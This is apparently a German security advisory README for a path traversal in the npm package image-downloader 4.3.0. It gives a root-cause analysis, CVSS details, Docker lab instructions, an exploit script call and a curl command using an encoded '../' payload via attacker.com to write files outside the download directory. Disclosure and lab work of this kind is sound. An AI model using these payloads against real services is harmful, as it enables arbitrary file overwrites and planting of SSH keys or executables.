
Advisory und PoC für CVE-2026-103648, einen Path Traversal (CWE-22) in image-downloader 4.3.0, der beliebiges Schreiben von Dateien ermöglicht, mit Ursachenanalyse, Patch-Diff und Docker-Lab.
image-downloader
Entdeckt von: Amirhossein Roustaei (@EterNullSec) — Eternull Security
⚠️ Nur für Bildungszwecke. Dieses Repository dokumentiert eine verantwortungsvoll offengelegte Schwachstelle. Der gesamte PoC-Code ist ausschließlich für autorisierte Sicherheitsforschung und Tests in isolierten Laborumgebungen gedacht. Verwenden Sie ihn nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Testgenehmigung haben.
| Feld | Details |
|---|---|
| CVE-ID | CVE-2026-103648 |
| NVD-Eintrag | nvd.nist.gov/vuln/detail/CVE-2026-103648 |
| CVSS v3.1 Score | 9.1 Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-22: Improper Limitation of a Pathname to a Restricted Directory |
| Paket | image-downloader (npm) von demsking |
| Wöchentliche npm-Downloads | ~11.000 (~38.000/Monat) — Quelle |
| Betroffene Versionen | < 4.3.1 (alle Versionen einschließlich 4.3.0) |
| Behobene Version | 4.3.1 |
| Zugewiesen von | GitLab |
| Veröffentlicht | 2026-10-02 |
| Melder | Amirhossein Roustaei (@EterNullSec), Eternull Security |
Die Schwachstelle liegt in der Logik zur Dateinamensextraktion von [email protected]. Dies ist der tatsächliche Quellcode der betroffenen Version (index.js, direkt aus dem veröffentlichten npm-Paket entnommen):
// [email protected] — index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
if (!options.url) {
return Promise.reject(new Error('The options.url is required'));
}
if (!options.dest) {
return Promise.reject(new Error('The options.dest is required'));
}
if (extractFilename) {
if (!path.extname(options.dest)) {
const url = new URL(options.url);
const pathname = url.pathname;
const basename = path.basename(pathname); // ❌ basename BEFORE decode
const decodedBasename = decodeURIComponent(basename); // decode happens AFTER
options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
}
}
// ...
return request(options);
};
path.basename(pathname) wird auf den noch prozentkodierten URL-Pfadnamen angewendet. Eine Sequenz wie %2e%2e%2fpwned.sh enthält kein literales /, daher behandelt path.basename() das Ganze als einen einzigen Dateinamen und gibt ihn unverändert zurück — nichts wird entfernt.decodeURIComponent() geleitet. Dies ist der Schritt, der %2e%2e%2f wieder in ein literales ../ verwandelt — aber zu diesem Zeitpunkt hat es den basename-Schritt, der es eigentlich bereinigen sollte, bereits überstanden.path.join(options.dest, decodedBasename) wird mit einem String aufgerufen, der nun ein echtes ../-Segment enthält. path.join() normalisiert .. genauso wie cd .. — daher führt der endgültige Schreibpfad zu einem Ort außerhalb von options.dest.Kurz gesagt: Der Code dekodiert den Dateinamen auf die richtige Weise, nur in der falschen Reihenfolge relativ zu path.basename(). Erst dekodieren, dann basename ist sicher; erst basename, dann dekodieren ist es nicht.
URL pathname: /%2e%2e%2fpwned.sh
basename(): "%2e%2e%2fpwned.sh" (unchanged — no literal '/')
decode: "../pwned.sh" (traversal now literal)
path.join(dest, "../pwned.sh")
→ resolves one directory ABOVE dest
Attack Vector: Network (AV:N) — remotely triggerable
Attack Complexity: Low (AC:L) — no special conditions
Privileges Required: None (PR:N) — no authentication needed
User Interaction: None (UI:N) — fully automated
Scope: Unchanged (S:U)
Confidentiality: None (C:N)
Integrity: High (I:H) — arbitrary file write
Availability: High (A:H) — overwrite critical files / DoS
Dieses Labor demonstriert den Mechanismus des Fehlers durchgängig in einem einzigen Skript, um die Reproduktion zu erleichtern, aber es lohnt sich, das reale Angriffsmodell explizit zu benennen:
download.image({ url, dest }) von image-downloader mit einem url-Wert aufruft, den sie nicht selbst vollständig kontrolliert — z. B. eine von einem Benutzer übermittelte URL (Avatar-/Bildimport-Funktionen), eine aus einer Webhook-Nutzlast gezogene URL oder eine aus einem RSS-/Content-Feed gelesene URL.url des Opfers zeigt, und kontrolliert die Pfadkomponente dieser URL — was allein schon ausreicht, da die Traversierung im URL-Pfad liegt (%2e%2e%2f...), nicht im Antwortkörper.authorized_keys-Datei oder einer ausführbaren Datei, die die Anwendung später ausführt).In exploit/exploit.py sind die Rollen von Angreifer und Opfer aus Laborbequemlichkeit in einem einzigen Skript zusammengefasst (es stellt sowohl die „Opfer"-Serveranfrage als auch den angreiferkontrollierten Payload-Server bereit). In einem realen Ausnutzungsszenario sind dies zwei getrennte, unabhängige Parteien — der PoC ist nur deshalb so aufgebaut, damit die Schwachstelle mit einem einzigen Befehl reproduzierbar ist.
git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build
Der verwundbare Server ist unter http://localhost:3000 erreichbar.
cd vulnerable-app/
npm install
node server.js
cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/
python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
Oder manuell mit curl (die Traversierung liegt im URL-Pfad, nicht im Antwortkörper):
curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"
# Check that the file landed OUTSIDE /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt